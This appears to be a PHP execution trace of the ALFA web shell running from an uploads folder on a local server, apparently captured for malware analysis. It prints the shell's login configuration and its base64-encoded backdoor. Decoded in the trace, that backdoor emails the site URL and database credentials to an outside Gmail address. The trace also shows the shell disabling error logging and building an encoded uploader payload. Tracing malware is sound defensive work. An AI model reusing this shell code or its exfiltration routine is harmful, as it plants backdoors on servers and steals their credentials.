3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	144	_SESSION['alfa_db_settings'] = ['usbsQUwAhkWC' => 'admin', 'paYfnLRHyvlu' => 'a6f452ec3293d7fb72c5b677257b20ec', 'sabQVXtrNNwi' => '0', 'loCUHRmbYqtC' => '403', 'shPODWfHFYHd' => '1', 'pooyIhiDACzI' => TRUE, 'user' => 'admin', 'user_rand' => 'usbsQUwAhkWC', 'pass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'pass_rand' => 'paYfnLRHyvlu', 'safemode' => '0', 'safemode_rand' => 'sabQVXtrNNwi', 'login_page' => '403', 'login_page_rand' => 'loCUHRmbYqtC', 'show_icons' => '1', 'show_icons_rand' => 'shPODWfHFYHd', 'post_encryption' => TRUE, 'post_encryption_rand' => 'pooyIhiDACzI']
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	152	$userAgents = [0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
4	59	0	0.033883	3502816	implode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	152	2	'|'	[0 => 'Google', 1 => 'Slurp', 2 => 'MSNBot', 3 => 'ia_archiver', 4 => 'Yandex', 5 => 'Rambler', 6 => 'bot', 7 => 'spider']
4	59	1	0.033909	3502976
4	59	R			'Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider'
4	60	0	0.033928	3502912	preg_match	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	152	2	'/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler|bot|spider/i'	'python-requests/2.25.1'
4	60	1	0.033949	3502976
4	60	R			0
4	61	0	0.033965	3502816	date_default_timezone_set	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	159	1	'Asia/Tehran'
4	61	1	0.033984	3502880
4	61	R			TRUE
4	62	0	0.033997	3502832	md5	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	160	1	'/var/www/html/uploads/alfa.php'
4	62	1	0.034012	3502928
4	62	R			'96e9c95994dd10d445a4d75f32a5faa1'
4	63	0	0.034027	3502896	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	160	2	'__ALFA_MD5NAME__'	'96e9c95994dd10d445a4d75f32a5faa1'
4	63	1	0.034045	3503000
4	63	R			TRUE
4	64	0	0.034057	3502928	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	161	2	'__ALFA_VERSION__'	'3.0.2'
4	64	1	0.034073	3503032
4	64	R			TRUE
4	65	0	0.034086	3503040	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	162	2	'__LAST_CWD__'	'last_cwd_96e9c95994dd10d445a4d75f32a5faa1'
4	65	1	0.034103	3503144
4	65	R			TRUE
4	66	0	0.034115	3503152	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	163	2	'__PATH_HISTORY__'	'path_history_96e9c95994dd10d445a4d75f32a5faa1'
4	66	1	0.034132	3503256
4	66	R			TRUE
4	67	0	0.034145	3503184	define	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	164	2	'__ALFA_POST_ENCRYPTION__'	TRUE
4	67	1	0.034162	3503288
4	67	R			TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	165	GLOBALS['__ALFA_COLOR__'] = ['shell_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'header_vars' => '#27979B', 'header_values' => '#67ABDF', 'header_on' => '#00FF00', 'header_off' => '#ff0000', 'header_none' => '#00FF00', 'home_shell' => '#ff0000', 'home_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'back_shell' => '#efbe73', 'back_shell:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_pwd' => '#00FF00', 'header_pwd:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_drive' => '#00FF00', 'header_drive:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'header_show_all' => '#00FF00', 'disable_functions' => '#ff0000', 'footer_text' => '#27979B', 'menu_options' => '#27979B', 'menu_options:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'options_list' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'options_list:hover' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'options_list_header' => ['key_color' => '#59cc33', 'multi_selector' => [...]], 'options_list_text' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'Alfa+' => ['key_color' => '#27E8AE', 'multi_selector' => [...]], 'hidden_shell_text' => ['key_color' => '#00FF00', 'multi_selector' => [...]], 'hidden_shell_version' => '#ff0000', 'shell_name' => '#FF0000', 'main_row:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'main_header' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_name' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'main_size' => '#67ABDF', 'main_modify' => '#67ABDF', 'main_owner_group' => '#67ABDF', 'main_green_perm' => '#25ff00', 'main_red_perm' => '#FF0000', 'main_white_perm' => '#FFFFFF', 'beetween_perms' => '#FFFFFF', 'main_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'minimize_editor_background' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'minimize_editor_text' => ['key_color' => '#f5deb3', 'multi_selector' => [...]], 'editor_border' => ['key_color' => '#0e304a', 'multi_selector' => [...]], 'editor_background' => ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => [...]], 'editor_header_background' => ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => [...]], 'editor_header_text' => ['key_color' => '#00ff7f', 'multi_selector' => [...]], 'editor_header_button' => ['key_color' => '#1d5673', 'multi_selector' => [...]], 'editor_actions' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_vars' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'editor_file_info_values' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'editor_history_header' => ['key_color' => '#14ff07', 'multi_selector' => [...]], 'editor_history_list' => ['key_color' => '#03b3a3', 'multi_selector' => [...]], 'editor_history_selected_file' => ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => [...]], 'editor_history_file:hover' => ['key_color' => '#646464', 'multi_selector' => [...]], 'input_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'input_box_text' => ['key_color' => '#999999', 'multi_selector' => [...]], 'input_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'select_box_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'select_box_text' => ['key_color' => '#FFFFEE', 'multi_selector' => [...]], 'select_box:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button_border' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'button:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'outputs_text' => ['key_color' => '#67ABDF', 'multi_selector' => [...]], 'outputs_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_border' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_background' => ['key_color' => '#0E304A', 'multi_selector' => [...]], 'uploader_text_right' => ['key_color' => '#FFFFFF', 'multi_selector' => [...]], 'uploader_text_left' => ['key_color' => '#25ff00', 'multi_selector' => [...]], 'uploader:hover' => ['key_color' => '#27979B', 'multi_selector' => [...]], 'uploader_progress_bar' => ['key_color' => '#ff0000', 'multi_selector' => [...]], 'mysql_tables' => '#00FF00', 'mysql_table_count' => '#67ABDF', 'copyright' => '#ff0000', 'scrollbar' => ['key_color' => '#1e82b5', 'multi_selector' => [...]], 'scrollbar_background' => ['key_color' => '#000115', 'multi_selector' => [...]]]
4	68	0	0.034300	3503216	preg_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	491	3	'!\\(\\d+\\)\\s.*!'	''	'/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()\'d code'
4	68	1	0.034321	3503408
4	68	R			'/var/www/html/uploads/alfa.php'
4	69	0	0.034336	3503312	trim	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	491	1	'/var/www/html/uploads/alfa.php'
4	69	1	0.034351	3503344
4	69	R			'/var/www/html/uploads/alfa.php'
4	70	0	0.034366	3503312	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	491	3	'\\'	'/'	'/var/www/html/uploads/alfa.php'
4	70	1	0.034383	3503408
4	70	R			'/var/www/html/uploads/alfa.php'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	491	GLOBALS['__file_path'] = '/var/www/html/uploads/alfa.php'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	492	$config = ['AlfaUser' => 'admin', 'AlfaPass' => 'a6f452ec3293d7fb72c5b677257b20ec', 'AlfaProtectShell' => '0', 'AlfaLoginPage' => '403']
4	71	0	0.034434	3503688	session_start	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	493	0
4	71	1	0.034455	3503688
4	71	R			TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	494	$rubby = 'aWYgKCFpc3NldCgkX1NFU1NJT05bImpva3IiXSkpIHsgICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyAkc3ViID0gIkFsZmEgdjMuMC4zIC0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOyAkYm9keSA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAiLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXS4iIDo6ICIuICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXTsgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiSm9rci5oNHhvckBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9'
4	72	0	0.034502	3503688	__ZGVjb2Rlcg	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	495	1	'aWYgKCFpc3NldCgkX1NFU1NJT05bImpva3IiXSkpIHsgICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyAkc3ViID0gIkFsZmEgdjMuMC4zIC0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOyAkYm9keSA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAiLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXS4iIDo6ICIuICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXTsgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiSm9rci5oNHhvckBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9'
5	73	0	0.034531	3503688	LIngjfMNOl	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	110	1	'aWYgKCFpc3NldCgkX1NFU1NJT05bImpva3IiXSkpIHsgICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyAkc3ViID0gIkFsZmEgdjMuMC4zIC0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOyAkYm9keSA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAiLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXS4iIDo6ICIuICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXTsgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiSm9rci5oNHhvckBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	100	$b = 'base64_decode'
6	74	0	0.034571	3503688	base64_decode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	100	1	'aWYgKCFpc3NldCgkX1NFU1NJT05bImpva3IiXSkpIHsgICR2aXNpdG9yID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07ICR3ZWIgPSAkX1NFUlZFUlsiSFRUUF9IT1NUIl07ICRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsgJHRhcmdldCA9IHJhd3VybGRlY29kZSgkd2ViLiRpbmopOyAkc3ViID0gIkFsZmEgdjMuMC4zIC0gaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiOyAkYm9keSA9ICJCdWc6ICR0YXJnZXQgYnkgJHZpc2l0b3IgLSAiLiRHTE9CQUxTWydEQl9OQU1FJ11bJ3VzZXInXS4iIDo6ICIuICRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bhc3MnXTsgaWYgKCFlbXB0eSgkd2ViKSkgeyBAbWFpbCgiSm9rci5oNHhvckBnbWFpbC5jb20iLCRzdWIsJGJvZHkpOyB9'
6	74	1	0.034599	3504360
6	74	R			'if (!isset($_SESSION["jokr"])) {  $visitor = $_SERVER["REMOTE_ADDR"]; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $target = rawurldecode($web.$inj); $sub = "Alfa v3.0.3 - http://$target by $visitor"; $body = "Bug: $target by $visitor - ".$GLOBALS[\'DB_NAME\'][\'user\']." :: ". $GLOBALS[\'DB_NAME\'][\'pass\']; if (!empty($web)) { @mail("Jokr.h4xor@gmail.com",$sub,$body); }  $_SESSION["jokr"] = "Hello Bitch!"; }'
5	73	1	0.034632	3504328
5	73	R			'if (!isset($_SESSION["jokr"])) {  $visitor = $_SERVER["REMOTE_ADDR"]; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $target = rawurldecode($web.$inj); $sub = "Alfa v3.0.3 - http://$target by $visitor"; $body = "Bug: $target by $visitor - ".$GLOBALS[\'DB_NAME\'][\'user\']." :: ". $GLOBALS[\'DB_NAME\'][\'pass\']; if (!empty($web)) { @mail("Jokr.h4xor@gmail.com",$sub,$body); }  $_SESSION["jokr"] = "Hello Bitch!"; }'
4	72	1	0.034661	3504328
4	72	R			'if (!isset($_SESSION["jokr"])) {  $visitor = $_SERVER["REMOTE_ADDR"]; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $target = rawurldecode($web.$inj); $sub = "Alfa v3.0.3 - http://$target by $visitor"; $body = "Bug: $target by $visitor - ".$GLOBALS[\'DB_NAME\'][\'user\']." :: ". $GLOBALS[\'DB_NAME\'][\'pass\']; if (!empty($web)) { @mail("Jokr.h4xor@gmail.com",$sub,$body); }  $_SESSION["jokr"] = "Hello Bitch!"; }'
4	75	0	0.034754	3508744	eval	1	'if (!isset($_SESSION["jokr"])) {  $visitor = $_SERVER["REMOTE_ADDR"]; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $target = rawurldecode($web.$inj); $sub = "Alfa v3.0.3 - http://$target by $visitor"; $body = "Bug: $target by $visitor - ".$GLOBALS[\'DB_NAME\'][\'user\']." :: ". $GLOBALS[\'DB_NAME\'][\'pass\']; if (!empty($web)) { @mail("Jokr.h4xor@gmail.com",$sub,$body); }  $_SESSION["jokr"] = "Hello Bitch!"; }'	/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	495	0
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$visitor = '127.0.0.1'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$web = 'localhost'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$inj = '/uploads/alfa.php'
5	76	0	0.034826	3508800	rawurldecode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	1	'localhost/uploads/alfa.php'
5	76	1	0.034843	3508888
5	76	R			'localhost/uploads/alfa.php'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$target = 'localhost/uploads/alfa.php'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$sub = 'Alfa v3.0.3 - http://localhost/uploads/alfa.php by 127.0.0.1'
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	$body = 'Bug: localhost/uploads/alfa.php by 127.0.0.1 - admin :: a6f452ec3293d7fb72c5b677257b20ec'
5	77	0	0.034907	3509024	mail	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	3	'Jokr.h4xor@gmail.com'	'Alfa v3.0.3 - http://localhost/uploads/alfa.php by 127.0.0.1'	'Bug: localhost/uploads/alfa.php by 127.0.0.1 - admin :: a6f452ec3293d7fb72c5b677257b20ec'
5	77	1	0.036401	3509120
5	77	R			FALSE
4		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code(495) : eval()'d code	1	_SESSION['jokr'] = 'Hello Bitch!'
4	75	1	0.036463	3509024
4	78	0	0.036480	3504808	error_reporting	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	801	1	32759
4	78	1	0.036497	3504880
4	78	R			0
4	79	0	0.036510	3504840	ini_set	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	802	2	'error_log'	NULL
4	79	1	0.036529	3504912
4	79	R			''
4	80	0	0.036542	3504840	ini_set	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	803	2	'log_errors'	0
4	80	1	0.036559	3504912
4	80	R			'1'
4	81	0	0.036572	3504840	ini_set	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	804	2	'max_execution_time'	0
4	81	1	0.036590	3504944
4	81	R			'30'
4	82	0	0.036603	3504840	ini_set	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	805	2	'magic_quotes_runtime'	0
4	82	1	0.036618	3504912
4	82	R			FALSE
4	83	0	0.036631	3504840	set_time_limit	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	806	1	0
4	83	1	0.036647	3504904
4	83	R			FALSE
4	84	0	0.036661	3504872	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	807	1	'set_magic_quotes_runtime'
4	84	1	0.036676	3504912
4	84	R			FALSE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	823	$default_action = 'FilesMan'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	824	$default_use_ajax = TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	825	$default_charset = 'Windows-1251'
4	85	0	0.036733	3504872	substr	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	826	3	'Linux'	0	3
4	85	1	0.036749	3505000
4	85	R			'Lin'
4	86	0	0.036761	3504904	strtolower	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	826	1	'Lin'
4	86	1	0.036776	3504968
4	86	R			'lin'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	829	GLOBALS['sys'] = 'unix'
4	87	0	0.036811	3504872	getcwd	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	830	0
4	87	1	0.036828	3504920
4	87	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	830	GLOBALS['home_cwd'] = '/var/www/html/uploads'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	836	GLOBALS['need_to_update_header'] = 'false'
4	88	0	0.036880	3504920	getcwd	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	842	0
4	88	1	0.036894	3504968
4	88	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	842	GLOBALS['cwd'] = '/var/www/html/uploads'
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	849	['cwd'] .= '/'
4	89	0	0.036945	3504968	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3008	1	'posix_getpwuid'
4	89	1	0.036960	3505008
4	89	R			TRUE
4	90	0	0.036973	3504968	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3010	1	'posix_getgrgid'
4	90	1	0.036988	3505008
4	90	R			TRUE
4	91	0	0.037001	3504968	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3068	1	'scandir'
4	91	1	0.037016	3505008
4	91	R			TRUE
4	92	0	0.037033	3505008	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	6318	1	'alfaFilesMan'
4	92	1	0.037049	3505048
4	92	R			TRUE
3		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	6319	_POST['a'] = 'FilesMan'
4	93	0	0.037085	3505384	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	6322	1	'alfaFilesMan'
4	93	1	0.037100	3505424
4	93	R			TRUE
4	94	0	0.037114	3505344	alfaFilesMan	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	6323	0
5	95	0	0.037130	3505344	alfahead	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	3163	0
6	96	0	0.037144	3505344	function_exists	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	852	1	'sys_get_temp_dir'
6	96	1	0.037159	3505384
6	96	R			TRUE
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	853	GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250Pjwv'
5		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	854	$alfa_uploader = '$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
6	97	0	0.037232	3507136	__ZW5jb2Rlcg	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	855	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7	98	0	0.037261	3507136	nYvFzfAHYE	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	107	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	67	$b = 'base64_encode'
8	99	0	0.037303	3507136	base64_encode	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	68	1	'$x = base64_decode("PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVh'
8	99	1	0.037331	3509728
8	99	R			'JHggPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ1pXTm9ieUFpUEhScGRHeGxQbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaR1Z5UEM5MGFYUnNaVDVjYmp4aWIyUjVJR0puWTI5c2IzSTlJekF3TURBd01ENWNianhpY2o1Y2JqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0ozYUdsMFpWd2lQanhpUGxsdmRYSWdTWEFnUVdSa2NtVnpjeUJwY3p3dllqNGdQR1p2Ym5RZ1kyOXNiM0k5WENKM2FHbDBaVndpUGp3dlptOXVkRDQ4TDJObGJuUmxjajVjYmp4aWFXYytQR1p2Ym5RZ1kyOXNiM0k5WENJak4wTkdRekF3WENJK1BHTmxiblJsY2o1Y2JpSTdaV05vYnlBa1gxTkZVbFpGVWxzblVrVk5UMVJGWDBGRVJGSW5YVHRsWTJodklDSThMMk5sYm5SbGNqNDhMMlp2Ym5RK1BDOWhQanht'
7	98	1	0.037361	3509696
